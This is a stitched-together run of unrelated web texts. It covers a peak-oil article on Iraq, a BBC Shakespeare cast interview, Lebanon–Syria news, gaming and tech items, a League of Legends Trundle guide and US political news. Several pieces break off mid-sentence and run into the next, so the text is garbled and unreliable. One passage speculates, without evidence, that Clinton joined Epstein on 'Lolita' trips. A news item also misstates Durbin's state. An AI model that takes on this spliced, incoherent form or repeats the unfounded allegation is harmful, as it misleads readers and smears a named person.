such. Any disagreement about treating individuals as members of categories made you "sexist" or "racist." In the minds of my students and colleagues, none of these matters could be legitimately debated. They weren't matters of logic or fact, but of whose side you were on. They had never heard John Stuart Mill's argument that a position that has never been defended against others is untested and feeble. They know what is correct, and any other view is heresy.ASPO International announces lower output target for Iraq In the World Energy Outlook 2012 report the IEA presents its view of future crude oil production (see the figure). With decreases of over 2 million barrels per day (Mb/d) by 2035 both Russia and China have passed Peak Oil. In other nations where crude oil production has previously reached Peak Oil, the decline in their production continues. The savior in this time of need is Iraq with a projected increase in production of 5.5 Mb/d. We have previously heard that ExxonMobil wants to leave projects in southern Iraq and now Statoil is leaving West Qurna at the same time as other intended operators are writing down their production volumes by 600,000 barrels per day. Thus it is now doubtful that an increase in crude oil production of 5.5 Mb/d can be reached. The IEA states that world crude oil production - that was 70 Mb/d in 2008 - will decline to 65 Mb/d by 2035. However, now we are hearing several indications that it will be lower. Here is a quote from the Oil & Gas Journal: “Lukoil and two state oil companies have lowered the contractual target for crude oil output from West Qurna-2 oil field in Iraq by one-third. Under a supplement agreement to the production service contract accounting for Lukoil’s acquisition of the interest formerly held by Statoil, the production target falls to 1.2 million b/d from 1.8 million b/d. … “Lukoil signed a supplemental agreement with North Oil Co., which holds a 25% interest in the contract, and South Oil Co. The acquisition of Statoil’s 18.75% stake increases Lukoil’s interest to 75%.” As a comparison, the total production of shale oil from the Bakken Field in the USA is 600,000 barrels per day. The production comes from around 5,000 wells and to maintain this level of production around 1,500 new wells must be drilled every year. In Iraq, we are seeing the “west” drawing back and the “east” – Russia and
be with you. So now people are wondering, did Clinton maybe take some of these Lolita trips? Because up ’til now nobody’s made that connection, that Clinton flew on Epstein’s jet to do charity work in Africa and Mozambique and South Africa and wherever else Clinton went to look good. But Epstein has his own private island out there, like a 73-acre private island that’s big enough for the Lolita Express to take off and land and store enough jet fuel to get out of there. And apparently there’s a whole compound there, and people are wondering: Did Clinton join Epstein and Prince Andrew and whoever the hell else was in the harem at one of these many events that Epstein promised? So all kinds of light, new light is being shined on some of these things.It's Britain's finest actors vs Shakespeare in the 2012 Cultural Olympiad With London 2012 just around the corner, the BBC is celebrating the Cultural Olympiad with an epic production of Shakespeare’s history plays. Simon Lewis meets the men at the heart of the action 'He's considered not only by us but globally to be the premium writer,' said David Suchet of William Shakespeare (Pictured left-to-right: Ben Whishaw, Suchet, Rory Kinnear and Tom Hiddleston) From June 30, BBC2 will broadcast in sequence Shakespeare’s Richard II, Henry IV Parts 1 and 2 and Henry V. This epic ‘Henriad’, telling of England’s bloody rebellions and wars around the turn of the 15th century, was overseen by James Bond director Sam Mendes, part-funded by American networks and filmed on a huge scale. It’s the most ambitious Shakespeare project on television since the BBC’s complete works in 1978-85. We gathered the lead actors in the new productions – David Suchet, Tom Hiddleston, Rory Kinnear and Ben Whishaw – at a London studio to discuss what Suchet calls the ‘Henry-fest’. First of all, what do you know about the Cultural Olympiad, of which this is a part? Rory Kinnear It’s trying to bring the focus of the Olympics on to these other things we’re good at. I’m so excited that they’re coming to London. Having only got two tickets to the boxing, I won’t be seeing much of the sporting action. So I’m glad to be involved in the Cultural Olympiad. What’s most important, drama or athletics? David Suchet For me? Drama, all my life – and I was quite a successful sportsman at school. But take drama away, and we’re sitting on a two-legged stool. Tom Hiddleston Winston Churchill said, ‘If we cut funding to the arts, then what are we fighting for?’ We have an incredibly rich arts culture here: British actors and films are winning Oscars, Adele won all those Grammys. British theatre is the best in the world. We should be very, very proud. But I love sport too. RK The thing about sport is that it’s got untold drama in it. It’s why Shakespeare wrote about kings: where the stakes are highest, people live in heightened states. 'He was so forgiving of human nature. As a result I think we have a very sophisticated cultural identity. Shakespeare is in our language,' said Tom Hiddleston Does playing kings make you more of a monarchist? TH It gives you huge respect for the Royal Family and what they endure. Imagine the freedoms they don’t have. As Henry V says, ‘What infinite heart’s ease must kings neglect that private men enjoy?’ They seem to me to be decent people who do decent things and acknowledge their power and try to use it well. They do a lot more than most of us. DS Without our royal heritage our tourist industry would be virtually non-existent. When the monarchy goes abroad it’s so welcomed and so applauded that it’s pretty foolish not to be a monarchist. You’re shooting yourself in the foot. RK Along with Shakespeare and Princess Diana, the Queen’s image is what people think of when they think of Great Britain. You understand what it does for our international status, and you have to respect that. Do the plays make you more patriotic? DS Certainly. I’m three-quarters Russian, so I’ve always felt an outsider. But I don’t think you can be in a play with John Of Gaunt’s ‘This sceptred isle’ speech and not feel proud to be British. Ben Whishaw I’m a bit nervous of the word patriotic, but I have a speech as Richard, which we filmed in St David’s Cathedral in Wales. Being there, talking about the divine right of kings, added something very powerful. It was all there. I didn’t have to act anything. RK Richard II is one of Shakespeare’s most factually accurate plays. He didn’t have to elaborate on history. BW Television is now done on a cinematic scale, which is the great thing about the plays we’re doing. You see the clothes and locations where it all really happened. TH The biggest thrill was to recreate the battles. If I played Henry V on stage, there’s no way I could be on a horse, riding through 50 extras at a gallop, blood everywhere. I was in chainmail on a horse with a St George’s cross on my shield, holding the standard. And I get to say the lines, ‘I see you stand like greyhounds in the slips, straining upon the start. The game’s afoot: follow your spirit and upon this charge, cry God for Harry, England and St George!’ It just does something to your gut. The words are 410 years old, the battle was 200 years before that, and we’re that same culture. 'Whenever I play a Shakespearean role I can't help but think of how many hundreds have played it before me,' said Rory Kinnear What would this country be without Shakespeare? BW I can’t imagine; he defined the mythology of Britain. DS He’s considered not only by us but globally to be the premium writer. Without that, we wouldn’t have had the reputation since the 16th century of being the theatrical centre of the world, so we’d be much poorer. RK I guess we’d have had another totemic figure of that era, whether it was Marlowe or Johnson. But no one else had the three big things of his compassion, his poetry and his imagination. TH He was so forgiving of human nature. As a result I think we have a very sophisticated cultural identity. Shakespeare is in our language. If you’ve ever been more sinned against than sinning, you’re quoting Shakespeare. If you think it’s high time, you’re quoting Shakespeare. People aren’t aware of the breadth of his influence. What was the golden age of Shakespearean acting? DS When I tell people I was at the RSC from 1973 to 1986, they say, ‘Oh, the golden age.’ Certainly we had some great verse speakers: Ben Kingsley, Patrick Stewart, Ian Richardson. If I had to pick an era, I’d say then. BW People usually say Gielgud, Guinness, Schofield and Olivier were the golden age… TH Well, they were as big as Brad Pitt and George Clooney are today. Theatre stars were so much bigger than they are now. BW But we’ve got Rory here, and Mark Rylance... these great new interpreters of Shakespeare. RK Whenever I play a Shakespearean role I can’t help but think of how many hundreds have played it before me. Whereas, if it was the 1590s and you were in the first cast of a new play by Shakespeare – the first actor to play Hamlet or King Lear – knowing the play would sink or swim on the strength of your performance? Wow. Imagine that. That must have been the golden age. When was the first time you performed Shakespeare? RK I played Pandarus in Troilus And Cressida at school. Not an easy play for 15 year-olds. My godfather came to see it. After three and a half hours, he said that was the last play of mine he was going to see. BW I played Hamlet in youth theatre aged about 15. I don’t know what I would have done without it as a teenager. I was not and am not interested in sport, so theatre was an opportunity to be with people I felt understood by. DS When I was 16, I played Macbeth at school and my English teacher said, ‘I think you may have acting talent. Try to get into the National Youth Theatre of Great Britain and see where you get.’ I wouldn’t have thought of that at all. I wanted to be a surgeon, but I wasn’t a clever man. Being good in Shakespeare immediately made me acceptable, no longer a dunce. TH I played Flavius, the old, faithful servant of Timon of Athens. A bit obscure, but we didn’t do much Shakespeare at school. At Cambridge I played Romeo, and not very well. It’s really hard. He’s a bit of a wet fish, delicate and feminine. Do you know any Shakespeare speeches off by heart? TH In Othello, Iago dupes Michael Cassio into getting drunk. He starts a fight and loses everything he’s worked for. ‘Reputation, reputation, reputation,’ he says. ‘I have lost my reputation. I have lost the immortal part of myself and what remains is bestial. My reputation, Iago. My reputation.’ I love that because it feels so contemporary. DS I don’t know why, but the speech from Macbeth – ‘Tomorrow and tomorrow and tomorrow creeps in this petty pace from day to day, to the last syllable of recorded time’ – has stayed with me since I was 16. I’ve never done it professionally. I think I’m too old now. What does it give you, to know Shakespeare off by heart? DS I think getting those words into you, without knowing, it changes your own language. The language enters you like an aspirin which dissolves and later takes effect. TH Learning the lines, you have eureka moments when you go, ‘Yes, that’s what it’s like to feel that emotion’ – pride, jealousy, courage, love... I’d say he’s the most articulate, compassionate humanist who’s ever lived. TOM HIDDLESTON (PRINCE HAL/HENRY V) 'Prince Hal starts out as a drunk, irresponsible, arrogant punk. Only by defeating the greatest warrior in the land, the rebel Henry Percy, does Prince Hal learn responsibility. That, and the death of his father in Part 2, hardens his heart so that when he becomes Henry V he is one of England's great warrior kings' BEN WHISHAW (RICHARD II) 'Richard II believes he's God's representative on Earth and that it's his duty to be a conduit between the people and the divine. He banishes his cousin, played by Rory (Kinnear), because he fears the threat he poses to his reign. Eventually he's deposed and is forced to face the fact that he isn't actually a demigod but a human being' DAVID SUCHET (THE DUKE OF YORK) ‘My role in Richard II is the Duke of York, uncle to Bolingbroke and to Richard. I have a big army and I keep finding myself swapping sides. The whole thing is the highest verse Shakespeare ever wrote. There’s wonderful poetry and language, and it’s magnificently plotted.’ RORY KINNEAR (HENRY BOLINGBROKE, LATER HENRY IV) ‘Richard II is about the struggle for power between King Richard (Whishaw) and Bolingbroke. He's known the king since childhood and has always been a loyal servant, but Bolingbroke is banished for a perceived slight. He returns to get back his lands and title, but it snowballs into a coup'Hezbollah and its allies are pressing the Lebanese state to normalise relations with President Bashar al-Assad's government in Syria, testing Lebanon's policy of "dissociation" from the Syrian conflict and igniting a political row. Calls for closer ties with the Syrian government, including on refugee returns and military operations on the Lebanon-Syria border, come as Assad regains control of more territory from insurgents and seeks to recover his international standing. The Lebanese policy of "dissociation", agreed in 2012, has aimed to keep the deeply divided state out of regional conflicts such as Syria even as Iran-backed Hezbollah became heavily involved there, sending fighters to help Assad, who is also allied to Iran. The policy has helped rival groups to coexist in governments bringing together Hezbollah, classified as a terrorist group by the United States, with politicians allied to Iran's foe Saudi Arabia, underpinning a degree of political entente amid the regional turmoil. While Lebanon never severed diplomatic or trade ties with Syria, the government has avoided dealing with the Syrian government in an official capacity and the collapse of the policy would be a boost a political boost to Assad. It would also underline Iran's ascendancy in Lebanon, where the role of Saudi Arabia has diminished in recent years when it has focussed on confronting Tehran in the Gulf instead. Assad's powerful Lebanese Shi'ite allies want the government to cooperate with Syria on issues such as the fight against jihadists at their shared border and securing the return of the 1.5 million Syrians currently taking refuge in Lebanon. "Everybody recognises (the dissociation policy) as a farce to some extent, but at least it contained the conflict and prevented Lebanon from being dragged even further into what is going on in Syria," said Maha Yahya, director of the Carnegie Middle East Centre in Beirut. "(A normalisation of relations) would be viewed as a victory, if using sectarian terms, of Shi'ites versus the Sunnis and will just inflame tensions even more." Road to Damascus Lebanon's relationship with Syria has for decades set rival Lebanese against each other. Syria dominated its smaller neighbour from the end of its 1975-90 civil war until 2005. A row erupted this week because of plans by government ministers from Hezbollah and the Shi'ite Amal party to visit Damascus next week. Although the government has refused to sanction the visit as official business - citing the dissociation policy - Industry Minister Hussein Hajj Hassan, a Hezbollah member, has insisted they will be in Damascus as government representatives. "We will meet Syrian ministers in our ministerial capacity, we will hold talks over some economic issues in our ministerial capacity, and we will return in our ministerial capacity to follow up on these matters," Hassan told al-Manar TV. Samir Geagea, a leading Lebanese Christian politician and longstanding opponent of Hezbollah and Syrian influence in Lebanon, has said the visit to Syria will "shake Lebanon's political stability and put Lebanon in the Iranian camp". A senior Lebanese official allied to Damascus described the row as "part of the political struggle in the region". The influence of Iran's allies in Lebanon was shown last year by the selection of a longtime ally of Hezbollah, Christian politician Michel Aoun, as head of state in a political deal that also installed Saudi-allied Sunni Prime Minister Saad al-Hariri. Syrian Returns Hezbollah has recently stepped up calls for the Lebanese government to engage directly with Damascus over the return of Syrian refugees, who now account for one in four of the people in Lebanon and are overwhelmingly Sunni Muslim. The issue is of enormous political sensitivity in Lebanon, although all politicians agree they must return to Syria due to strains on Lebanon's resources and risks to its sectarian balance. Hariri has said Lebanon will only coordinate refugee returns with the United Nations, which says there can be no forced return of people who fled the conflict, many of whom fear returning to a Syria governed by Assad. But one branch of the Lebanese state, the powerful internal security agency General Security, recently held talks with the Syrian authorities to secure the return of several thousand Syrians into Syria following a military campaign by Hezbollah in the northeast border region. General Security says the refugee returns have been voluntary. The United Nations has had no role in the talks. An expected Lebanese army assault on Islamic State militants at the border with Syria has been another focal point for the debate over cooperation with Damascus. The army, a recipient of U.S. aid, has said it will lead the battle alone in Lebanese territory, and does not need to coordinate with other parties. Hezbollah leader Sayyed Hassan Nasrallah has said his group and the Syrian army will mount a simultaneous assault against IS from the Syrian side of the frontier, however. "Practically speaking, the dissociation policy is finished," said Nabil Boumonsef, a columnist with the Lebanese newspaper An-Nahar. But he warned of the political ramifications in Lebanon, saying "political score settling" by one party against another would create "a big problem" in the country.Last month, Microsoft launched the Visio for iPad Insider Program. As it turns out, it will be available for Android and Windows phones too. The company says that mobile applications are one of the core investment areas for Visio, along with the Windows desktop, data, and the ecosystem. The new apps should have feature parity with the iOS app, which is currently in preview for the iPad and not generally available. The company showed off the new iOS app today at its Ignite 2016 conference, showing how easy it is to navigate through a large diagram. The presenter magnified his diagram to almost 200,000x. Microsoft would not provide a timeframe for when these new apps will arrive - or even when Visio for iOS might come out of Preview - but instead simply said that these things are on the roadmap. Later, when announcing other new features, the company confirmed that "on the roadmap" means that features will arrive within 1 1/2 to 2 years, although there's no reason to believe that we'll have to wait so long to see the new apps, at least in Preview form.Search-and-rescue operations may one day get a boost from a wearable sensor system in development at the Massachusetts Institute of Technology (MIT). MIT researchers built a system that digitally maps the environment where the wearer is moving. Ideally, the gadget will become a tool that emergency personnel could use to coordinate disaster response. According to MIT News, the machine's sensors wirelessly relay data to an off-site computer, allowing observers to watch the map's creation as the wearer moves through a space in this instance, an MIT building hallway. The prototype was built using a stripped-down Microsoft Kinect sensor and a laser rangefinder. MIT Computer Science and Artificial Intelligence Laboratory research scientist Maurice Fallon leads the project, which he envisions for use in a hazmat situation, "where people are suited up with the full suit, and they go in and explore an environment," he told MIT News. "The current approach would be to textually summarize what they had seen afterward 'I went into this room on the left, I saw this, I went into the next room,' and so on," Fallon said. "We want to try to automate that." Fallon's research is supplemented by professors John Leonard and Seth Teller, of the department of Mechanical Engineering and of Electrical Engineering and Computer Science (EECS), respectively, as well as EECS graduate students Hordur Johannsson and Jonathan Brookshire. The system was originally developed for robots but had been adapted for human use. It includes a laser rangefinder, which sweeps a beam in a 270-degree arc, measuring the time it takes for light pulses to return. While attached to a human, though, the machine is jostled and may not provide as accurate a map as a roving robot could especially if affixed to an emergency responder who is presumably moving swiftly through a location, and various floors of a building. As a result, a button attached to the sensors allows the user to annotate the map. In the prototype, it simply serves as a way to mark a point of interest. The developers envision a future system that will add voice or text tags to the map, for emergency responders to mark structural damage or a toxic spill. "This idea of having a SLAM [simultaneous localization and mapping] system that is attached to a human's body, for figuring out where it is, is actually innovative and pretty useful," Wolfram Burgard, a computer science professor at the University of Freiburg in Germany, told MIT News. "For first responders, a technology like this one might be highly relevant." Watch the video below to get a closer look at how the sensored mapping system works, and where it may fail. For more from Stephanie, follow her on Twitter @smlotPCMag.Plus, Monster Jam Battlegrounds, Hustle Kings, Hue and Sky Force So long September and hello October: the home of hilarious Halloween costumes, unpredictable weather patterns and – for the caffeine addicts among us – the glorious pumpkin-spiced latte. We hope you had fun with September’s PS Plus games. If you’ve not had a chance to tear across the Seattle skyline as a delinquent neon streak yet or befuddle the agents of darkness with a slew of rhyming couplets, we suggest you hop to it, because October’s titles are coming in hot and you’re gonna want your backlog looking respectable. What do we have for you next month, then? Let’s start with the big guy – Big Boss, that is. Metal Gear Solid V: The Phantom Pain The culmination of three decades of cutting-edge development, Kojima Productions’ farewell to the Metal Gear universe brought together dozens of disparate elements to deliver an open-world stealth-action sandbox quite unlike any other. As legendary soldier Big Boss, it’ll be up to you to run countless incursions into the conflict-ridden territories of Afghanistan and Central Africa as you work to liberate captured comrades and recruit new personnel to rebuild your decimated private army. Over the course of the adventure you’ll develop new weapons, capture key targets and uncover the shadowy figures that betrayed your organisation – all in the lust for vengeance. Amnesia: Collection With Halloween hitting at the end of the month, this one was a bit of a no-brainer. A true cult hit, if ever there was one, the Amnesia series garnered itself a reputation among gamers as one of the most terrifying experiences of last generation. Last year, the complete series – Amnesia: The Dark Descent, Amnesia: A Machine for Pigs and Amnesia: Justine – got polished up and released on PlayStation 4. Each unique adventure places you in the shoes of a different protagonist as they struggle to overcome their own personal (and some not so personal) demons, and (hopefully) escape with their sanity intact. Feeling brave? Got a few friends that’ll hold on to you for the scary bits? Then there’s no better month for it – each is an experience not soon to be forgotten. PS Plus Bonuses: RIGS Mechanised Combat League and That’s You Continuing from previous months, all throughout October you’ll be able to download PS VR sports shooter RIGS and cheeky PlayLink party title That’s You. Designed and built exclusively for PS VR, RIGS places you in the cockpit of a mechanical sporting titan known as a ‘RIG’ and launches you into a competitive sports league that combines first person shooter combat with team-based tactics and… erm, slam-dunking yourself through a giant gold hoop. It’s a must for PlayStation VR owners. PlayLink title That’s You will be also be available for those who missed it in September. In this irreverent party quiz you and up to five of your friends and family get to find out what you really think about each other. With your TV, PS4 and a tablet or smartphone in hand, answer over 1,000 funny questions, take part in daring doodle challenges, snap selfies for photo challenges and more. Anything else? The line-up wouldn’t be complete without two additional titles apiece for both PlayStation 3 and PlayStation Vita, and October is no exception. That leaves the full run-down looking like this: October’s games will be available to download from PlayStation Store from 3rd October. Until then, you still have a full week to pick up any games you might have missed from September’s PS Plus line-up. Here’s a quick reminder: Update – Amnesia: The Collection is now available in New Zealand. As a result of a delay in its release, its PS Plus promotion will be extended, so New Zealand players will still have a full five weeks to add it to their collection.Speaker John Boehner (R-Ohio) says that he “absolutely” trusts President Obama, but is wary that a grand bargain on the deficit is attainable. “I don't know whether we can come to a big agreement,” said Boehner in an interview aired Sunday on on ABC’s “This Week.” ADVERTISEMENT Boehner’s comments come after Obama’s week-long effort to reach out to lawmakers from both parties. The president visited Capitol Hill to meet with Democrats and Republicans from both chambers on a wide range of issues, but with a focus on building a framework to reach a deficit deal. But the talks also highlighted the split between the White House and Republicans, in particular over taxes. Obama is calling for new tax revenues in a deficit deal. Earlier this week, Obama also told House Republicans that he opposed a 10-year balanced budget in a closed-door meeting on Capitol Hill, saying his focus was on boosting the economy and jobs. But Boehner said that increasing taxes on Americans was a non-starter for Republicans, noting that the president won that battle at the start of the year with the expiration of the George W. Bush-era tax cuts for individuals making more than several hundred thousand dollars. Boehner said that of President Obama “believes that we have to have more taxes from the American people, we’re not going to get very far.” “If the president doesn't believe that the goal oughta be to balance the budget over the next ten years-- I don't-- not sure we're gonna get very far,” Boehner cautioned. The House and Senate are both set to vote on their respective budget proposals this week, but neither plan is expected to pass in the other chamber. Boehner, though, suggested that the House and Senate budgets could at least move forward talks on a deficit deal. “If we do -- it'll be between the two parties on Capitol Hill. Hopefully, we can go to conference on these budgets and hope springs eternal in my mind,” he said. The No. 2 ranking Senate Democrat Dick Durbin (Mich.) on Sunday also said the House and Senate budget blueprints presented an opportunity for deal-making between the parties. “We’ve got to pass this budget resolution in the Senate … and then we’re going to move to the next stage, and that is the grand bargain stage, that’s what the president is trying to set up, both sides sitting down on a bipartisan basis not trying to eliminate Medicare … putting revenues on the table that are fair … and making sure it’s a balanced approach,” Durbin said on “Fox News Sunday.” Despite his contention that he has a “very good relationship” with President Obama, Boehner though said a grand bargain will be tough to achieve. “We’re trying to bridge some big differences,” Boehner noted, adding that though the country is not facing “an immediate debt crisis,” in light of the changes that Congress has taken over the past few years. But he warned that there is a major crisis “looming,” in the “entitlement programs that are not sustainable in their current form.” Fellow Republican, Sen. Bob Corker (R-Tenn.) said on “Fox News Sunday” however that his party may be open to creating revenue with tax reform, if Democrats are open to making structural changes in entitlements such as Medicare. “I think Republicans if they saw true entitlement reform would be glad to look at tax reform that generates additional revenues, and that doesn't mean increasing rates that means closing loopholes, that also means arranging our tax system so that we have economic growth,” Corker said. Corker said there was a window for a grand bargain occurring within the next four to five months.ghen Profile Joined March 2010 United States 274 Posts Last Edited: 2011-02-14 20:12:40 December 09 2010 20:33 GMT #1 TRUNDLE: The Cursed Troll Trundle is a strange champion. His skills were created in my mind to force you to use it in sub-optimal positions and create sub-optimal choices as far as itemization. I don't know if this was done on purpose or not, because he's a troll and was marketed as a response to all the trolling done on the official forums. If so, job well done! Trundle is a melee attack damage based character with CC and inherent tankiness to his skillset. His strengths lie in mobility and regeneration. He can initiate mildly well in the fact that he will survive, but his initiation skills are very visible and not as "hard" as crystal arrow, roots, or taunts. His ult requires precise use or it will have a very mild impact on battle, and a close eye has to be kept on his contaminate cooldown to be able to get out of fights when needed. Trundle is a jungler during early game, plain and simple. He's ok in a lane; but his ability to deal a large amount of damage to a single target plus his great ganking skills lead to him being a better jungler. If done well you can keep up in level with the solo lanes as well as stay near full health after the first pass due to his passive. Trundle guides: NeoIllusions - Jungle Trundle :: Trundle The Cursed Troll's Abilities Patch v1.0.0.106 Decompose (Innate): Whenever an enemy unit near Trundle dies, he heals for 2% (lvl 1) / 3% (lvl 5) / 4% (lvl 9) / 5% (lvl 12) / 6% (lvl 15) of their maximum health. Notes: This passive is extremely powerful and will keep you in fights as well as let you rejoin fights all game long. Its very deceptive in it's healing capabilities like Evelynn's ultimate. Rabid Bite (Active): Trundle bites his opponent instead of attacking for his next standard attack, dealing physical damage. This attack increases Trundle's attack damage for 8 seconds, with his opponent losing half of this amount. Cooldown: 4 seconds Cost: 40 Mana Physical Damage: 30 / 45 / 60 / 75 / 90 (+0.8/0.9/1.0/1.1/1.2 per Attack Damage) Bonus Attack Damage: 20 / 25 / 30 / 35 / 40 Notes: This is obviously your bread and butter damage spell. It resets the attack counter when you use the spell and then modifies the next attack to do extra damage. This means it should be used immediately after an attack. His normal attack animation is very short and hard to cancel, so practice using this very early in the animation for a double hit. This skill also applies on-hit effects, so items that do extra damage with quick stacks help here. Contaminate (Active): Trundle infects a target location with his curse for 8 seconds, gaining attack speed, movement speed, and crowd control reduction while on it. Cooldown: 15 seconds Cost: 60 Mana Movement Speed: 20 / 25 / 30 / 35 / 40 Attack Speed: 20 / 30 / 40 / 50 / 60 Crowd Control Reduction: 20 / 25 / 30 / 35 / 40 Notes: This is the skill that lets you dance around tower divers, take towers quickly, and completely own the battlefield in team fights. Use this all the time. It is really really good and worth getting CDR just for this one spell. Pillar of Filth (Active): Trundle creates a plagued beacon at a target location, which becomes impassable terrain and slows all nearby enemy units. Cost: 60 Mana Cooldown: 23 / 20 / 17 / 14 / 11 seconds Slow: 25 / 30 / 35 / 40 / 45 Notes: This is what turns Trundle into a modern internet troll. The Pile of Poop, Stack of S**, Pillar of Filth, whatever you want to call it. It creates a small instant wall that cannot be crossed by both enemy and friend. Around the wall is an area where a champion is slowed walking through. This effect obviously only happens to the enemy. You CAN wall yourself off if you place it wrong running through the jungle, so be careful! As this skill is a 2 part CC, it can be used as practice for anivia lovers without making your team rage as much at how bad you are with it compared to ice wall Agony (Active): Trundle immediately steals his target’s health and a percentage of their armor and magic resistance. Over the next 6 seconds the amount of health, armor, and magic resistance stolen is doubled. Cost: 75 Mana Cooldown: 80 / 70 / 60 seconds Health Stolen (Magic Damage): 100 / 175 / 250 (+0.6 per Ability Power) Armor & Magic Resist: 15% / 20% / 25% Notes: Trundles ultimate is extremely difficult to use mid fight compared to other debuffs and is the root of the problem with trundle's overall design. Riot is trolling us plain and simple with this one spell: Flat HP steal means you want to cast it on their carry/assassin/mage to do a larger percentile based attack. But a percentage based armor/mres steal means you want to cast it on their purest tank. Usually the guy with the most HP. See the problem? One thing remains constant though. You want to cast this on the guy that needs to die that everyone is going to focus that isn't dying fast. Casting it on a fed Annie isn't going to be much value as she dies so quick anyway, but the brave pantheon with 20/20/20? Definite target. Runes Reds: Armor pen. -- No question here. Attack speed is trundles bane. The attack animation on his Q is so long that with too much aspeed it will actually slow down your dps. More on this later in the items section. Yellows: flat armor, mp5/lvl, dodge. All good choices. Personally I'm leaning towards dodge seals while getting nimbleness and ninja tabi as the main source of damage mitigation against physical carries and tanks. Currently though I'm running flat armor here for a good early game. Blues: mp5/lvl, mres/lvl, CDR/lvl all good choices. Depends on your seals too. Trundle doesn't use much mana late game so mp5/lvl blues is more than enough past level 9, compared to Olaf who needs a blue buff crutch until level 11 for max dps. Quints: APen quints are ideal. Definitely get these on your trundle if you can. Otherwise, move speed is a good second choice. He really gains nothing from an extra 100HP so HP quints are out. Masteries Trundle is a mildly annoying champion to build masteries for, but I think 1/8/21 will end up being the build of choice. Mitigation is nice, but he needs it late game, not early, and the defensive tree just doesn't give that option to put more points in it. my personal 1/8/21 build: This could actually be adjusted a lot depending on how trundles passive interacts with Perseverance. I just don't know! A completely seperate choice, would be some variation of a dodge build. Again, Trundle doesn't need early game mitigation, so this will look very strange. Try it out and adjust as needed! 1/12/17 :: SoS + Dodge http://www.fieldsofjustice.com/mastery/#ZuPqlyawyqZlywyanl Item Overview This section is going to be a bit different than most guides. I'm going to give lists of items that trundle COULD use one way or another and list the pros/cons for that one item. There will be no builds per say, it will be up to you to figure out what works! (and hopefully you post here for me to link to ) Cloth+5 vs. unconventional start Trundle is one of those champions that could start longsword + 1 hp pot. If doing this though, you'll need to work on a different path (like wraith jacking). It might be feasible with more specialized jungle runes (like attack speed reds and quints / flat armor yellows) to do blue first. Test it out! Otherwise, just go with the standard cloth armor + 5 hp pots. This builds into one of the two starting items for any jungler. HoG vs. Madred's razor Both of these are equally important. Health scales much better with trundles ultimate than armor/mres, so grabbing HP early is always nice. Razor though lets you RIP through the jungle faster than anyone else in the game. Bloodrazor vs. wriggles lantern Lantern is the obvious first choice on trundle, especially if you went razor first (which you should). Its cheap, gives lifesteal, and gives a free ward. Bloodrazor is an ok choice for trundle mainly because his Q lets you double proc the % damage. Still, attack speed is not trundles friend so unlike warwick this item is no where near core. high damage vs. aspeed Like I said above, attack speed is not trundle's friend. There comes a point in gaining attack speed where the super slow animation from his rabid bite will cause you to lose damage output over time. Grabbing a little aspeed (like from runes or 1 item like bloodrazor) is ok, but definitely don't go anywhere near a second item. You want to do a huge amount of damage in your first two hits. (normal+Q) so stack attack damage if anything. GB/B build Ghostblade lets you kill towers. That's basically it. It doesn't synergize with your skills as much as other champions though so its fun but not optimal. Bloodthirster / Black Cleaver / frozen mallet Thirster is just a bit too much lifesteal over your wriggles and passive. You really won't need it. Better to focus on real mitigation with armor/mres than lifesteal. Black cleaver is an excellent choice for trundle. It gives high damage, a tiny bit of aspeed, and a cool proc that works well with trundles ultimate against single targets. Frozen mallet though is the best of the three. It gives a huge HP pool, a bit of damage, and a great slow to keep them in the fight. This should probably be your go-to item for damage. Tank items Once you get your damage set, which should really only be one or two
rein in the NSA on multiple occasions. Multiple House lawmakers in both parties have repeatedly objected to voting for a short-term bill. But not everyone is convinced." Julian Hattem in The Hill. 2. Top opinions CARNEY: Clinton's views on campaign finance are worse than hypocrisy. "Not only would such campaign finance laws make it harder for groups to criticize her — they could do so only through political action committees, which have strict rules and limits on fundraising — such laws would also make it harder for SuperPACs to spend on behalf of candidates, thus making candidates more reliant on thousands of $2,700 donations. That in turn makes candidates reliant on hundreds of well-connected bundlers — such as the audience at Hillary's recent New York dinner.... Goldman Sachs, the Carlyle Group, the National Auto Dealers Association, Corning, Fidelity, KKR, Russian financial firm Renaissance Capital, eBay, and Ericsson have all made six-figure contributions to Hillary's campaign in the form of speaking fees. Corporate and foreign contributions to campaigns are illegal, but Hillary has found a way around that restriction — unless you think this career politician's insights were really worth ten thousand dollars a minute." The Washington Examiner. KRUGMAN: Obama must explain why he supports the Pacific trade deal. "Officials have evaded the main concerns about the content of a potential deal; they’ve belittled and dismissed the critics; and they’ve made blithe assurances that turn out not to be true.... Whatever you may say about the benefits of free trade, most of those benefits have already been realized. A series of past trade agreements, going back almost 70 years, has brought tariffs and other barriers to trade very low to the point where any effect they may have on U.S. trade is swamped by other factors, like changes in currency values. In any case, the Pacific trade deal isn’t really about trade. Some already low tariffs would come down, but the main thrust of the proposed deal involves strengthening intellectual property rights — things like drug patents and movie copyrights — and changing the way companies and countries settle disputes. And it’s by no means clear that either of those changes are good for America." The New York Times. WILKINSON: Why can't GOP presidential candidates coherently answer questions about Iraq? "Suppose... Mr Obama's choice to withdraw troops was the mistake. It then follows that the smart thing to do—the best 'long-term strategy on how to deal with it,' in Mr Bush's words—is to get American boots back on the ground and vindicate the invasion by finishing the job. The problem for hawks like Messrs Bush and Rubio is that this is an impolitic thing to say.... If the eventual GOP nominee is going to have a shot at the White House, he will need to say that the invasion was a mistake. So it is wise to be on the record saying a version of that now. But this can be awfully hard to do if you don't fully believe it. Messrs Bush and Rubio's botched answers show what happens when politicians vacillate between what they probably really think and what is, all things considered, the politically wise thing to say." The Economist. CASSIDY: The campaign for a living wage could change American politics. "Reacting to grassroots campaigns carried out by labor unions and other progressive groups, some of the biggest cities in America are now defying several decades of economic orthodoxy, as well as challenging a set of social norms that regarded low-wage jobs as unavoidable and acceptable.... If it turns out that cities like L.A. and San Francisco can raise the minimum wage by fifty per cent or sixty per cent without suffering big losses in employment, the old argument that higher minimum wages are job killers will be much harder to sustain. And that would change American politics in a very significant way, greatly expanding the range of possibilities it could encompass." The New Yorker. The Earned Income Tax Credit is better than the minimum wage, writes investor and Berkshire Hathaway Chief Executive Warren Buffett. "I may wish to have all jobs pay at least $15 an hour. But that minimum would almost certainly reduce employment in a major way, crushing many workers possessing only basic skills. Smaller increases, though obviously welcome, will still leave many hardworking Americans mired in poverty. The better answer is a major and carefully crafted expansion of the Earned Income Tax Credit (EITC), which currently goes to millions of low-income workers. Payments to eligible workers diminish as their earnings increase. But there is no disincentive effect: A gain in wages always produces a gain in overall income. The process is simple: You file a tax return, and the government sends you a check." The Wall Street Journal. 3. In case you missed it Former Florida Gov. Jeb Bush criticizes his brother's fiscal policy. "'I think that in Washington, during my brother's time, Republicans spent too much money,' Jeb Bush said.... 'He could have brought 